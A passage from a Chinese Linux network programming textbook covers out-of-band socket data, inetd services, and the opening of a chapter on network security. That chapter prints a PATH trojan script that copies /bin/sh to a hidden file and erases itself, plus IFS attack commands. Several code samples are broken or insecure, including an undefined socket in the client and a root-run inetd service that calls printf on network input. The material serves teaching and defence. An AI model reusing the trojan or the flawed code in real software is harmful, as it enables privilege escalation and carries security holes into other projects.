s_addr */ my_addr.sin_addr.s_addr = INADDR_ANY; /* 将此结构的其余空间清零 */ bzero(&(my_addr.sin_zero), 8); /* 这里是我们一直强调的错误检查!! */ if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) { /* 如果调用 bind()失败,则给出错误提示,退出 */ perror(“bind”); exit(1); } /* 这里是我们一直强调的错误检查!! */ if (listen(sockfd, BACKLOG) == -1) { /* 如果调用 listen 失败,则给出错误提示,退出 */ perror(“listen”); exit(1); } /* 设置 SIGURG 的处理函数 sig_urg */ old_sig_urg_handle = signal(SIGURG, sig_urg); /* 更改 connfd 的属主 */ fcntl(sockfd, F_SETOWN, getpid()); while(1) { 第 6 章 berkeley 套接字 - 195 - /* 这里是主 accept()循环 */ sin_size = sizeof(struct sockaddr_in); /* 这里是我们一直强调的错误检查!! */ if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) { /* 如果调用 accept()出现错误,则给出错误提示,进入下一个循环 */ perror(“accept”); continue; } /* 服务器给出出现连接的信息 */ printf(“server: got connection from %s\n”, inet_ntoa(their_addr.sin_addr)); /* 这里将建立一个子进程来和刚刚建立的套接字进行通讯 */ if (!fork()) /* 这里是子进程 */ while(1) { if((n = recv(new_fd, buff, sizeof(buff)–1)) == 0) { printf(“received EOF\n”); break ; } buff[n] = 0 ; printf(“Recv %d bytes: %s\n”, n, buff); } /* 关闭 new_fd 代表的这个套接字连接 */ close(new_fd); } } /* 等待所有的子进程都退出 */ while(waitpid(-1,NULL,WNOHANG) > 0); /* 恢复系统以前对 SIGURG 的处理器 */ signal(SIGURG, old_sig_urg_handle); } void sig_urg(int signo) { - 196 - Linux网络编程 int n; char buff[100] ; printf(“SIGURG received\n”); n = recv(new_fd, buff, sizeof(buff)– 1, MSG_OOB); buff [ n ] = 0 ; printf(“recv %d OOB byte: %s\n” , n, buff); } 6.11.3 OOB传输套接字例程(客户端代码 Cl i ent . c) 下面是客户端程序: #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <netdb.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> /* 服务器程序监听的端口号 */ #define PORT 4000 /* 我们一次所能够接收的最大字节数 */ #define MAXDATASIZE 100 int main(int argc, char *argv[]) { /* 套接字描述符 */ int sockfd, numbytes; char buf[MAXDATASIZE]; struct hostent *he; /* 连接者的主机信息 */ struct sockaddr_in their_addr; /* 检查参数信息 */ if (argc != 2) { 第 6 章 berkeley 套接字 - 197 - /* 如果没有参数,则给出使用方法后退出 */ fprintf(stderr,“usage: client hostname\n”); exit(1); } /* 取得主机信息 */ if ((he=gethostbyname(argv[1])) == NULL) /* 如果 gethostbyname()发生错误,则显示错误信息并退出 */ herror(“gethostbyname”); exit(1); } if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { /* 如果 socket()调用出现错误则显示错误信息并退出 */ perror(“socket”); exit(1); } /* 主机字节顺序 */ their_addr.sin_family = AF_INET; /* 网络字节顺序,短整型 */ their_addr.sin_port = htons(PORT); their_addr.sin_addr = *((struct in_addr *)he->h_addr); /* 将结构剩下的部分清零*/ bzero(&(their_addr.sin_zero), 8); if(connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) { /* 如果 connect()建立连接错误,则显示出错误信息,退出 */ perror(“connect”); exit(1); } /* 这里就是我们说的错误检查! */ if (send(new_fd, “123”, 3, 0) == -1) { /* 如果错误,则给出错误提示,然后关闭这个新连接,退出 */ perror(“send”); close(new_fd); - 198 - Linux网络编程 exit(0); } printf(“Send 3 byte of normal data\n”); /* 睡眠 1 秒 */ sleep(1); if (send(new_fd, “4”, 1, MSG_OOB)== -1) { perror(“send”); close(new_fd); exit(0); } printf(“Send 1 byte of OOB data\n”); sleep(1); if (send(new_fd, “56”, 2, 0) == -1) { perror(“send”); close(new_fd); exit(0); } printf(“Send 2 bytes of normal data\n”); sleep(1); if (send(new_fd, “7”, 1, MSG_OOB)== -1) { perror(“send”); close(new_fd); exit(0); } printf(“Send 1 byte of OOB data\n”); sleep(1); if (send(new_fd, “89”, 2, MSG_OOB)== -1) { perror(“send”); close(new_fd); exit(0); } printf(“Send 2 bytes of normal data\n”); sleep(1); 第 6 章 berkeley 套接字 - 199 - close(sockfd); return 0; } 6.11.4 编译例子 注意:你显然需要在运行 client 之前启动 server.否则client 会执行出错(显示“Connection refused”). 当只有一个连接的时候(因为这个服务器是多进程的,所以如果有多个连接同时存在 可能会导致屏幕输出混乱),可以得到下面的结果:(注意是使用我们下面的客户程序来连 接的,并且假设你运行我们的服务器程序是在本地机器上面) root@bbs# gcc – o server server.c root@bbs# gcc – o client client.c root@bbs# ./server root@bbs# ./client 127.0.0.1 Send 3 bytes of normal data <- Client输出 Recv 3 bytes: 123 <- Server输出 Send 1 byte of OOB data <- Client输出 SIGURG received <- Server输出 Recv 1 OOB byte: 4 <- Server输出 Send 2 bytes of normal data <- Client输出 Recv 2 bytes: 56 <- Server输出 Send 1 byte of OOB data <- Client输出 SIGURG Received <- Server输出 Recv 1 OOB byte: 7 <- Server输出 received EOF <- Server输出 这个结果正是我们想要的。每一个客户端发送的带外数据都导致服务器端产生了 SIGURG 信号,服务器端收到 SIGURG 信号后,就去读取带外数据了。 6.12 使用 Inetd(Internet 超级服务器) 6.12.1 简介 利用 inetd 来做网路程序设计是个既简单又稳定的设计方法,您不需要考虑到复杂的 socket programming。您的设计工作几乎在设计好通讯协定後就完成了,所需要的技巧,仅 为简单的文字分析技巧。 6.12.2 一个简单的 i net d 使用的服务器程序 hel l o i net servi ce 首先,我们先来撰写一个称为 hello 的服务程序。 hello.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> - 200 - Linux网络编程 void main(void) { /* 作为一般的程序,这个 printf 将输出到标准输出 */ printf(“Welcome!\n Hello! World! \n”); } 这个程序很简单,不是吗? 编译。 root@bbs$ gcc -o hello hello.c 好了,现在我们已经拥有这个程序的可执行版本了。如果你直接执行这个程序的话, 会出现下面这样的结果: root@bbs#./hello Welcome! Hello! World! root@bbs# 啊,程序将输出写出来了,我们成功了!注意!我们需要的是进行网络上的传输操作, 现在我们做到的只能够在本地给你显示一些字符而已,我们需要的是能够传输到网络的另 一端。 6.12.3 /et c/servi ces 和 /et c/i net d. conf 文件 我们必须通过设置系统的两个文件:/etc/services 和/etc/inetd.conf 来对系统进行配置, 从而将我们的 hello 程序变成网络可访问的。 下面我们来看看如何设定/etc/services 及/etc/inetd.conf。 在我们更改系统的/etc/services 文件前我们先来做一个测试,以便帮助各位读者能够对 它的作用有更清楚的理解。 我们在本地机器上输入下面的命令: root@bbs# telnet localhost hello hello: bad port number 注意系统给出的错误信息:“ hello: bad port number”。因为 telnet 命令的第二个参数应 该是想登陆系统的端口,我们给出的 hello,系统不知道 hello 是什么端口,所以它说:“ 错 误的端口数字”。 那么下面我们这样做: 在/etc/services 中加入以下这一行 hello 20001/tcp 其意义为 hello 这项服务是在 port 20001、是一个 TCP 连接。 当我们进行到这一步的时候,你可以再试试进行刚才给出“ hello: bad port number” 错 误信息的操作: root@bbs# telnet lcoalhost hello Trying 127.0.0.1... telnet: Unable to connect to remote host: Connection refused 信息变了: Unable to connect to remote host: Connection refused. 第 6 章 berkeley 套接字 - 201 - 这说明系统已经知道了 hello 代表的是哪个端口(以为我们上面在 /etc/services 文件中 指定了 hello 是一个 tcp 连接,在 20001 端口),但是系统无法和 hello 端口建立连接,因为 没有任何程序在监听 20001 端口来等待连接。 OK,现在我们已经告诉了系统我们的 hello 程序使用什么端口了,可是当我们连接 hello 的端口的时候系统还没有将我们的程序执行.下面: 在 /etc/inetd.conf 中加入以下这一行 : goodie stream tcp nowait root /full_goodie_path_name/goodie 各个参数的意义为 <service_name><sock_type><proto><flags><user><server_path><args> service_name 是需要在系统服务中存在的名称。 sock_type 有很多种,大多用的是 stream/dgram。 proto 一般用 tcp/udp。 flags 有 wait/nowait。 user 是您指定该程序要以那一个使用者来启动,这个例子中用的是 root,如果有 安全性的考量,应该要改用 nobody。一般来说,建议您用低权限的使用者,除非必要,不 开放 root 使用权。 server_path 及 args,这是您的服务程序的位置及您所想加入的叁数。 接下来重新启动 inetd root@bbs# killall inetd root@bbs# inetd root@bbs#_ 这样我们便建立起一个 port 20001 的 hello service。 现在我们来检验一下 goodie 是否可以执行: telnet localhost 20001 或 telnet your_host_name 20001 或 telnet locahost hello 执行结果如下: Trying 127.0.0.1... Connected to localhost. Escape character is ‘^)’. Welcome! Hello! World! root@bbs#_ Yahoo!! 我们现在连接成功了!!原来一个简单的,只能显示两行欢迎信息的,没有涉 及到任何网络连接的小程序,现在可以进行网络服务了!很神奇吧! 6.12.4 一个复杂一些的 i net d 服务器程序 很简单不是吗? 信不信由您,telnet/pop3/imap/ftp 都是靠这种方式建立起来的服务。 当 - 202 - Linux网络编程 然, telnet/pop3/imap/ftp 各项服务都有复杂的命令处理过程,我们现在这个程序只能显示 欢迎信息,但是至少我们已经可以让它做网络上的一个服务程序了。下面我们现在来建立 一点小小的“ 网络协定”,这个协定使我们可以输入“ exit” 时,离开程序,而其他的指令 都是输出与输入相同的字串。 #include <stdio.h> #include <stdlib.h> #include <string.h> void main(void) { /* 网络接受缓存区 */ char buf[1024]; /* 是否接收到了 exit 字符串的标志 */ int ok; /* 输出欢迎信息 */ printf(“Welcome! This is hello service!\n”); /* 因为 Linux/UNIX 系统具有缓存作用, fflush 函数将缓存中的数据立即送出, 防止网络连线的另外一边无法接收到少量的数据 */ fflush(stdout); /* 初始化 OK, 设置为没有接收到 exit */ ok=0; do /* 如果标准输入没有数据输入,则程序在此处循环等待 */ while (fgets(buf,1023,stdin)==NULL); /* 检查当前的输入是否为 “exit” */ if (strncasecmp(buf,“exit”,4)==0) { /* 设置标志位 */ ok=1; } /* 将接收到的字符串原样送出 */ printf(buf); /* 将缓存区中的数据立即发送 */ fflush(stdout); } while(!ok); } 因为 inetd 将网络的输入作为程序的标准输入,而将程序的输出作为程序的网络输出, 第 6 章 berkeley 套接字 - 203 - 所以程序中的 stdin 相当于对网络套接字进行读而 stdout 相当于是对网络套接字进行 send 操作。 执行: telnet localhost hello 或 telnet your_host_name 20001 运行结果如下: Trying 127.0.0.1... Connected to localhost. Escape character is ‘^)’. Welcome! This is hello service! 输入“help” help help 输入“exit” exit exit Connection closed by foreign host. 6.12.5 一个更加复杂的 i net d 服务器程序 我们现在已经可以简单的处理网络远程发送过来的命令了,而我们程序所做的处理只 是对 stdin 和 stdout 进行操作!下面,我们将设计一个稍微复杂一点点的通讯协定,比较通 用于一般用途。 #include <stdio.h> #include <stdlib.h> #include <string.h> /* 所支持的命令的数组 */ char *cmds[]={ “help”, “say”, “hello”, “bye”, “exit”, NULL}; /* 判断一个字符串是命令数组中的第几个命令,如果不存在则返回 – 1 */ int getcmd(char *cmd) { int n=0; while (cmds[n]!=NULL) { if (strncasecmp(cmd,cmds[n],strlen(cmds[n]))==0) return n; n++; } return -1; - 204 - Linux网络编程 } /* 主函数 */ void main(void) { /* 接收的命令的缓存区 */ char buf[1024]; /* 是否为退出命令的标志 */ int ok; /* 输出欢迎信息 */ printf(“Welcome! This is hello service!\n”); /* 清除标准输出的缓存 */ fflush(stdout); /* 初始设置 ok 为没有收到退出命令 */ ok=0; /* 程序主循环体 */ do /* 如果程序没有接收到输入则循环等待 */ while (fgets(buf,1023,stdin)==NULL) ; /* 收到数据后进行命令判断 */ switch (getcmd(buf)) case -1: printf(“Unknown command!\n”); break; case 0: printf(“How may I help you, sir?\n”); break; case 1: printf(“I will say %s”,&buf[3]); break; case 2: printf(“How‘re you doing today?\n”); break; case 3: printf(“Si ya, mate!\n”); ok=1; break; case 4: printf(“Go ahead!\n”); ok=1; break; } /* 清空输出缓冲区 */ fflush(stdout); } while(!ok); } 第 6 章 berkeley 套接字 - 205 - 运行: telnet localhost hello 或 telnet your_host_name 2001 试试看输入“ help”、“ say”、“ hello”、“ bye”、“ exit” 等等指令,及其它一些不在命令 列中的指令。 好了,现在我们知道了,Inetd 就是将我们写的使用标准输出和标准输入的程序转变成 网络程序,这样可以大大的简化我们的编程,避免了和什么 socket()、recv()、send() 函数 打交道。 6.12.6 程序必须遵守的安全性准则 注意:在设计 inetd 服务程序时,要特别注意 buffer overflow(缓存区溢出)的问题, 也就是以下这种状况: char buffer_overflow[64]; fscanf(stdin,“%s”,buffer_overflow); 历来几乎所有的安全漏洞都是由此而来的。 你一定不可这样用,不论任何理由,类同的用法也不可以。黑客高手可以透过将您的 buffer 塞爆,然後塞进他自己的程序进来执行。 6.12.7 小结 通过 Linux 系统提供的 inetd 服务,我们可以方便的编写网络程序而从来不用去在乎那 些看起来高深难懂的套接字函数.你所需要做的只是写一个普通的读写标准输入输出的程 序,然后去配置一下系统 inetd 的配置文件:/etc/services 文件和 /etc/inetd.conf 文件。 6.13 本章总结 BSD UNIX 引入了作为一种机制的套接字抽象,它允许应用程序于操作系统的协议软 件接口。由于许多厂商采纳了套接字,套接字接口已经成了一种事实上的标准。 一个程序调用 socket 函数创建一个套接字描述符。Socket 调用的参数指明了所使用的 协议和所要求的服务器.所有的 TCP/IP 协议都是 Internet 协议族的一部分.系统为套接字 创建了一个内部的数据结构,并把协议族域填上,系统还使用服务类型参数来选择某个指 定的协议(常常是 UDP 或 TCP)。 其他的系统调用允许应用程序指明一个本地地址(bind),强迫套接字进入被动模式以 便为某个服务器使用(listen),或强迫插口进入主动模式以便为某个客户机使用(connect).服 务器可以进一步使用 accept 调用以获得入连接请求(accept),客户机和服务器都可以发送 或接收数据(read 或 write)。最后,在结束某个插口后,客户机和服务器都可以撤消该接 口(close)。 套接字有五种 I/O 模式:阻塞模式/非阻塞模式/IO 多路复用/信号驱动 IO/异步 IO。 带外数据是一种可以快速的通知网络的另一端计算机信息的一种方法.带外数据甚至 可以只告诉远程计算机它的存在而不必将它的具体数据传输过去.带外数据并不是建立两 - 206 - Linux网络编程 个连接来传送数据(至少在 TCP 中不是这样),它是将所谓的"带外数据"影射到已经存 在的套接字连接中。 很少有人想写网络应用程序,因此进程的细节最好留给那些想写的人.实践和查阅大 量的例子程序是开始写网络代码的最好的方法.但是要掌握这门技术却要花许多年时间。 - 206 - Linux网络编程 第七章 网络安全性 7.1 网络安全简介 连接网络的主机,特别是连接因特网的主机,比没有连接入网络的主机会暴露出更多 的安全问题。安全问题。网络安全性高可以降低连接网络的风险,但就其性质而言,网络 访问和计算机安全性是矛盾的。网络是一条数据高速公路,它专门用来增加对计算机系统 的访问,而安全性却需要控制访问。提供网络安全性是在公开访问与控制访问之间的一种 折中。 我们可以将网络想象成高速公路,它就像高速公路一样为所有的访问者——无论是受 欢应的访问者还是不受欢应的黑客(hacker,在网络上非法入侵别人机器的人)——提供 相等的访问权。通常,我们是通过锁门来为财产提供安全性的,而不是封锁接到。同样, 网络安全性一般是指对单台主机提供何时的安全性,而不是直接在网络上提供安全性。 在很多小城镇中,人们相互之间都互相认识,因而房门往往是不锁的。但在大城市中, 房门安装了笨重的门闩和链条。在短短的十几年中,因特网已从一个只有数十个用户的“ 小 镇” 发展到具有数百万用户的“ 大城市”。就像大城市使邻居之间变得陌生一样,因特网的 飞速发展减少了网络邻居之间的信任度。对计算机安全性要求的增长是一个负效应,但这 种发展并不是一件坏事情。一个大城市可以提供更大的选择余地和更多的服务,同样,扩 展后的网络也可以提供日益增加的服务。对大多数人来说,安全只是访问网络时需要考虑 的一小部分。 随着网络的发展,其越来越社会化,网络的非法入侵事件也有增无减。但是,这些入 侵的十几程度常常被大大的夸大了。对侵入迹象的反应过度会阻碍对网络的正常利用,因 此一定要对症下药。有关网络安全性的最好建议是尊重常规,在 RFC1233 中很好的阐述了 这一原则: “ 尊重常规是用来确定安全策略的最何时的准则。精心设计的安全性方案和机制,诚 然是令人佩服的,也确实可以充分发挥作用,但应兼顾控制的简单性,即实施其方案时, 在经济和时间上的投资也必须予以充分考虑”。 7.1.1 网络安全的重要性 1996 年初,五角大楼宣布其计算机系统在 1995 年遭到 215 万次非法入侵。更令人不 安的是大多数非法入侵未被察觉。这些非法入侵给国家安全带来的影响程度还未确定,但 是已发现的非法入侵多数是针对计算机系统所存放的敏感信息,其中有三分之二的非法入 侵是成功的,黑客盗窃、修改或破坏了系统上的数据。 同时,我们也应该以严肃的态度来考虑企业间谍无处不在这个问题。有很多公司并没 有充分的准备来对付非法入侵者,甚至没有意识到它们的存在,有些公司还没有看到这些 威胁对它们的影响。事实上,计算机在线社会是人类生存的真实社会的仿制品,在电子空 间中有许多不道德的人不断侵犯各种计算机系统上的安全系统,还有一些并非不道德的人 出于某种心理在电子空间徘徊并和用户开一些玩笑来嘲笑用户的安全性。 事实上,网络从其出现的一开始就受到黑客们的攻击,下面是历史上著名的几次网络 事故: 第七章 网络安全性 - 207 - 1988 年 9 月,著名的蠕虫程序(worm)被传播到因特网上,造成因特网的瘫痪, 使许多网络不能连接到因特网上。 1991 年 5 月,在 Biscay 海湾发生了一起由于网络被非法入侵而造成的沉船事故。 这是由于欧洲气象预报中心的计算机系统被网络黑客侵入,造成气象预报卫星不能正常工 作,导致一场暴风雨的预报失误而酿成的悲剧。 1993 年 6 月,美国一家医院连接到网络上的一些化验报告,其数据被黑客侵入后 将阴性改为阳性,许多被化验者因此误认为自己患上了癌症。 在过去的十几年中,网络黑客们一直在通过计算机的漏洞对计算机系统进行攻击,而 且这种攻击方法变得越来越复杂。 1988 年,大部分入侵者的方法仅是靠猜测口令,利用系统的配置不当、以及系统上软 件本身的漏洞。到了 1998 年,这些方法仍被使用,但又增加了新的手段。有些入侵者甚至 通过读取操作系统源代码的方法来获取系统的漏洞,并以此展开攻击。一些网络黑客编写 的攻击站点的工具软件,在因特网上也可以容易的得到,这就给网络安全带来了更严峻的 挑战。 正是由于这些在线犯罪,FBI 的国家计算机犯罪小组建议采用防火墙作为防止计算机 犯罪的措施。虽然 NCCS 还有其它安全措施,但是普遍认为采用防火墙是防止 Intranet 被 入侵的最好方法。 其他被推荐的措施有: 对非法访问的登录进行横幅警告。显示在登录屏幕上,警告那些非法用户,它们 正在进入一个受保护的系统。 键盘级监控。这个安全措施十几上是捕捉在某台工作站上的键盘敲击并记录在文 件中。这些文件经管理员查看后确定是否有非正常方式,如从一台工作站上出现多次登录 失败等。 捕捉、跟踪来自电话公司的服务。这种服务允许用户的公司截取进来的电话并跟 踪到出发点,并找出和排除非法的远程访问。 呼叫者 ID。这种服务(现在家庭用户中也很流行)识别进入系统的号码和姓名, 能够在一开始就识别并排除非法的远程访问。 电话截取。这种服务(与呼叫者 ID 有关)允许某些电话号码被阻止接通到电话 系统。例如。假设调制解调器(远程访问系统)接收到一个来自某大学宿舍的一个数字电 话,可以截取这个电话号码(可以自己打个电话到学校机关)。 数据加密措施。可以用加密和解密软件来“ 搅乱” 数据,使多数黑客没有兴趣登 录到系统。 防火墙。所有这些安全措施中,防火墙是最具有防护性的。因为它可以根据需要 设计并安装在系统中的最重要部位。如果将防火墙与其他一些安全措施相结合,会得到一 个对公司的数据和 Intranet 最佳的安全措施。 7.1.2 信息系统安全的脆弱性 黑客攻击网络已有十几年的历史。它们的攻击方法包括:猎取访问路线、猎取口令、 强行闯入、改变与建立 UAF(用户授权文件)记录,偷取额外特权、引入“ 特洛伊木马” 软件掩盖其真实企图、引入命令过程或程序“ 蠕虫” 把自己几声在特权用户上、清理磁盘、 使用一个节点作为网关(代理)到其他节点上以及通过隐蔽信道进行非法活动等。 黑客使用很多工具进行攻击,例如 Rootkit 工具、特洛伊木马和轨迹跟踪等。SATAN 工具专门用来查找和分析一个网络安全的薄弱环节。Aita Vista 工具可以用来查找一个网络 的脆弱部分或者黑客敏感的信息。 - 208 - Linux网络编程 在因特网上有名的黑客网址有: www.cert.org www.10pht.com www.root.org/warez.html www.2600.com www.microagwny.com/home/claw/hackers.html www.halcyon.com/yakboy/42ff.html www.netwalk.com/silicon/void-f.html 黑客在网络上经常采用的攻击手段是:利用 UNIX 操作系统提供的 telnet、ftp 和 remote exec 守护进程等缺省帐户进行攻击。另外,黑客还可以采用 UNIX 操作系统提供的命令 finger 与 rusers 等收集的信息不断提高自己的攻击能力;利用 sendmail 漏洞,采用 debug 工具、 wizard 工具、pipe 机制、假名及 Ident 守护进程进行攻击;采用 ftp 的匿名访问进行攻击; 利用 NFS 的漏洞进行攻击;利用 CGI 程序的漏洞进行攻击;通过 rsh、rlogin、rexec 守护 进程以及 X Windows 等方法进行攻击。 网络黑客之所以能够得逞,是因为信息系统本身存在一些安全方面的脆弱性。 下面是信息系统在安全方面存在的一些问题: 1.操作系统安全的脆弱性 操作系统的体系结构造成操作系统本身的不安全,这是计算机系统不安全的根本 原因。操作系统的程序可以动态链接,包括 I/O 的驱动程序与系统服务,都可以用打补丁 的方式进行动态链接。Linux 操作系统的许多版本升级开发都是采用打补丁的方式进行的。 这种方法厂商可以使用,黑客同样也可以使用。这种动态链接是计算机病毒产生的好环境。 一个靠升级与打补丁开发的操作系统不可能从根本上解决安全问题,但操作系统支持程序 动态链接与数据动态交换又是现代系统继承和系统扩展的必备功能,因此这是互相矛盾的。 操作系统支持在网络上传输文件,包括可执行的映象文件,即在网络上加载程序。 这样也破坏了系统的安全性。 操作系统不安全的另一个原因在于它可以创建进程,甚至支持在网络的节点上创 建和激活远程进程,更重要的是被创建的进程可以继承创建进程的权限。这一点与上一点 (可以在网络上加载程序)结合起来就构成了可以在远端服务器上安装“ 间谍” 软件的条 件。若再加上把这种间谍软件以补丁的方式“ 打” 在一个合法的用户上,尤其“ 打” 在一 个特权用户上,间谍软件就可以使系统进程与作业的监视程序都检测不到它的存在。 操作系统通常都提供守护进程。这种软件实质上是一些系统简称,它们总在等待 一些条件的出现。一旦有满足需要的条件出现,程序便继续运行下去。这样的软件都是黑 客可以利用的。这里应该说明的是:关键不在于有没有守护进程,而在于这种守护进程在 UNIX、Windows NT 操作系统上是否具有与操作系统核心层软件同等的权力。 操作系统提供远程过程调用(RPC)服务,RPC 服务本身也存在一些可以被非法用 户利用的漏洞。 操作系统提供 debug(调试器)程序。许多研制系统软件的人员,它们的基本技 能就是开发补丁程序和系统调试器。掌握了这两种技术,它们就有条件从事黑客可以从事 的事情。 操作系统安排的无口令入口是为系统开发人员提供的便捷入口,但它也是黑客的 通道。另外,有些操作系统还有隐蔽的通道。 2.计算机网络安全的脆弱性 Iternet/Intranet 使用的 TCP/IP 协议以及 FTP、E-mail、RPC 和 NFS 等都包含许多不安 全的因素,存在许多漏洞。 第七章 网络安全性 - 209 - 许多人都知道,1988 年 Robert Morries 在 VAX 机上用 C 语言编写了一个通过 GUESS 软件,根据搜索的用户名字来猜测机器密码口令的程序。结果是该程序自 1988 年 11 月开 始在网络上传播依赖,几乎每年都给因特网上的系统造成一亿美元的损失。 黑客通常采用源端口、源路由、SOCKS、TCP 序列预测或者使用远程过程访问(RPC)进行 直接扫描等方法对防火墙进行攻击。 3.数据库管理系统安全的脆弱性 数据库管理系统的安全必须与操作系统的安全相匹配。由于数据库的安全管理同样是 建立在分级管理的基础之上的,因此 DBMS 的安全也是脆弱的。 4.缺少安全管理 世界上现有的信息系统绝大多数都缺少安全管理员,缺少信息系统安全管理的技术规 范,缺少定期的安全测试与检查,更缺少安全监控。 我国许多企业的信息系统已经使用了许多年,但计算机的系统管理员与用户的注册还出于 缺省配置的状态。 从某种意义上讲,缺少安全管理是造成系统不安全的最直接因素。因此,如果要提高 整个系统的安全性,首要的任务就是找一位专门管理系统的人员,由他来维护和监督系统 的安全。 7.2 Linux 网络不安全的因素 大部分计算机安全问题是由于管理不当,而不是由于系统软件的漏洞。严谨的管理将 会大大减少系统被非法入侵的可能性。 下面是一些常见的安全漏洞。 1.特权软件的安全漏洞 IFS 一种攻击的方法是通过 IFS(Input Files Separator,输入字段分隔符) shell 变量来实现的。 该变量用于决定传给 shell 字符串的分隔符。例如,一个程序调用函数 system()或 popen()执 行一个 shell 命令,那么该命令首先由 shell 来分析,如果执行的用户可以控制 IFS 环境变 量,就可能会导致不可预测的结果。 这是一个典型例子:如果程序执行如下的代码: system(“/bin/ls –l”); 如果 IFS 变量被设置为包含”/”字符,而一个恶意的程序被命名为 bin 并且放在用户的 path 变量那,则该命令会被解释成 bin ls –l,它执行程序 bin 并带有两个参数 ls 和-l。为了 防止这种情况的发生,一个程序应该尽量不要使用 system()、popen()、execlp()、和 execvp() 这些依赖外部环境的函数来运行其他程序,而应该使用 execle()这样自行传递环境变量的函 数。 下面是一个设置 IFS 变量的命令行指令: %setenv IFS / #C shell $IFS=/ #B shell $export $IFS HOME 另一个攻击方法是通过使用 HOME 环境变量。 通常,csh 和 ksh 在路径名称中用字符”~”来代替 HOME 变量。因此,如果一个入侵者 能改变 HOME 变量的值,就能利用一个使用字符”~”作为 HOME 命令的 shell 文件来达到 - 210 - Linux网络编程 目的。 例如,如果一个 shell 文件用~/。rhosts 或者$HOME/。rhosts 指向用户指定的文件,就 有可能被人通过在执行命令前重新设置 HOME 环境变量的方法来进行破坏活动。 PATH 使用 PATH 攻击方法的特征是,利用 PATH 环境变量中文件路径的值和顺序。不合理 的路径顺序会导致意外的结果——如果执行的命令不是以绝对路径的方式执行。例如,用 下面的方式指定 PATH: PATH=。/:/usr/bin:/bin:/sbin 如果有人在当前路径创建了一个名为 ls 的文件,它就会比/bin/ls 先执行。如果该文件 包括如下内容: #! /bin/sh /bin/cp /bin/sh /tmp/。secret 2>/dev/null rm –f $0 exec /bin/ls “$1” 该代码会暗中创建一个/bin/sh 的拷贝,它在执行时会以执行该文件的用户的身份被执 行。此外,它消除证据,使用户在执行该命令时感觉不到是在执行另外一个程序。 缓冲区溢出 由于不好的编程习惯,也会导致软件本身的安全漏洞。在这个方面最典型的例子是 Morris 蠕虫攻击程序。该漏洞是由于系统调用 gets()(系统调用 fgets()没有这个问题)时不检 查参数的长度而造成的。这使得在用户的控制下缓冲区会溢出。因此,在正常情况下,程 序在遇到缓冲区溢出时会停止运行。而如果用户对操作系统很熟悉,就可以使程序在遇到 缓冲区溢出时转而运行另一个程序。 设想如下情况,一个特权程序(suid)在遇到缓冲区溢出后转而执行一个 shell,那么 这时的普通用户就变成得来 root 用户。因此,缓冲区溢出问题是非常严重的。据统计,有 70%以上的成功的非法入侵是通过缓冲区溢出来实现的。另外还有几个系统调用也存在同 样的漏洞,如 scanf()、sscanf()、fscanf()和 sprintf()。 umask 值 一个程序员经常犯的错误是,umask(缺省的文件保护掩码)的设置不正确。许多程 序没有检查 umask(的值,而且经常忘记指定新建文件的保护掩码值。程序创建了一个新文 件,却忘记改变其保护模式而使之安全。黑客们经常可以利用这一点,更改可写的文件从 而获取特权。 因此,在创建一个新文件之前,一定要先用 Linux 提供的系统调用 umask()设定一个正 确的 umask 值。 状态返回值 另一个程序员经常犯的错误是程序不检查每个系统调用的返回值。在程序设计时程序 员往往会认为某些系统调用总是正确执行的。但是,如果一个黑客可以控制他的运行环境, 那么他就可以设法使一个在程序中被认为是永远正确的系统调用产生错误。这会使用户的 程序产生不可预测的结果。 捕捉信号 一般,程序员编写的程序不捕捉它可以接收的信号,这一点也常常被黑客们所利用。 例如,一个黑客将其 umask 设置为一个适当的值,然后向一个没有正确捕捉信号的特 权程序发送 SIGQUIT 信号——该信号导致该程序产生 core 文件。此时,该 core 文件的所 有者是执行该程序的 UID,但是它的保护掩码是 umask 设定的,黑客可以读取这个文件。 黑客就可以进一步利用 gdb 等工具来读这个 core 文件,从而可能获取系统上的重要信息。 第七章 网络安全性 - 211 - 队列边界检查 这个漏洞与前面讲述的“ 缓冲区溢出” 问题是密切相关的。 典型的情况是,程序中使用了固定长度的数组变量,而在执行时却不检查其中的数据 是否超过数组边界,从而导致程序出现不可预测的结果。 2.特洛伊木马程序 特洛伊木马程序与一般用户想要执行的程序从外观上(如文件名)看很相似,例如编 辑器、登录程序或者游戏程序。这种程序与一般用户想要执行的程序表面上很相似,但是 却完成其他的操作,例如删除文件、窃取密码和格式化磁盘等。等到用户发现,却为时已 晚。 特洛伊木马可以出现在很多地方。它们可以出现在被编译过的程序中,也可以出现在 又系统管理员执行的系统命令文件中。有的特洛伊木马程序还可作为消息(例如电子邮件 或发给终端的消息)的一部分发送。一些邮件头(mail headers)允许用户退到外壳(shell) 并执行命令,该特性能在邮件被阅读的时候激活。给终端发送特定的消息能在终端上存储 一个命令序列,然后该命令序列被执行,就好像在终端上直接从键盘输入一样。编辑器初 始化文件(如 vi 对应的.exrc 文件)也是经常出现特洛伊木马的地方。 特洛伊木马程序非常普遍。黑客们经常以多种方式改变系统,以便在最初的攻击活动 被发现后,还可以进入系统。这也使一个被攻破的系统很难恢复。因此为了找出特洛伊木 马,有必要搜索整个系统。 3.网络监听及数据截取 计算机网络安全中的一个重大问题是计算机之间传输的数据可以很容易的被截取。在 过去大型主机的时代,这不成为威胁,因为在那种系统上数据的传输处于系统的控制之下。 但由于异种机的互联,敏感数据的传输会处于系统的控制之外,有许多现成的软件可以监 视网络上传输的数据。尤其脆弱的是总线型网络(例如以太网),这种网络上发送给每个特 定机器的数据都可以被网络上的任何机器截取到。 这意味着任何数据都可以被截取并用于不同的目的,不仅仅包括敏感数据,还有信息 交换(例如登录顺序,包括口令)。数据截取并不一定要从网络本身截取。通过在网络软件 上或应用程序上安装特洛伊木马,就能截取数据并保存到磁盘上以备后用。 4.软件之间的相互作用和设置 计算机安全受到威胁的根本原因是计算机系统的运行的软件日益增长的复杂性。任何 一个人都不可能编写整个系统,因此也无法预测系统那每个部分之间的相互作用。一个例 子是/bin/login 的一个问题,它接收其他一些程序的非法参数,从而可以使普通用户成为超 级用户。 5.研究源代码的漏洞 许多入侵者是通过研究一些程序的源代码而成功的攻击系统的。通常,这种源代码可 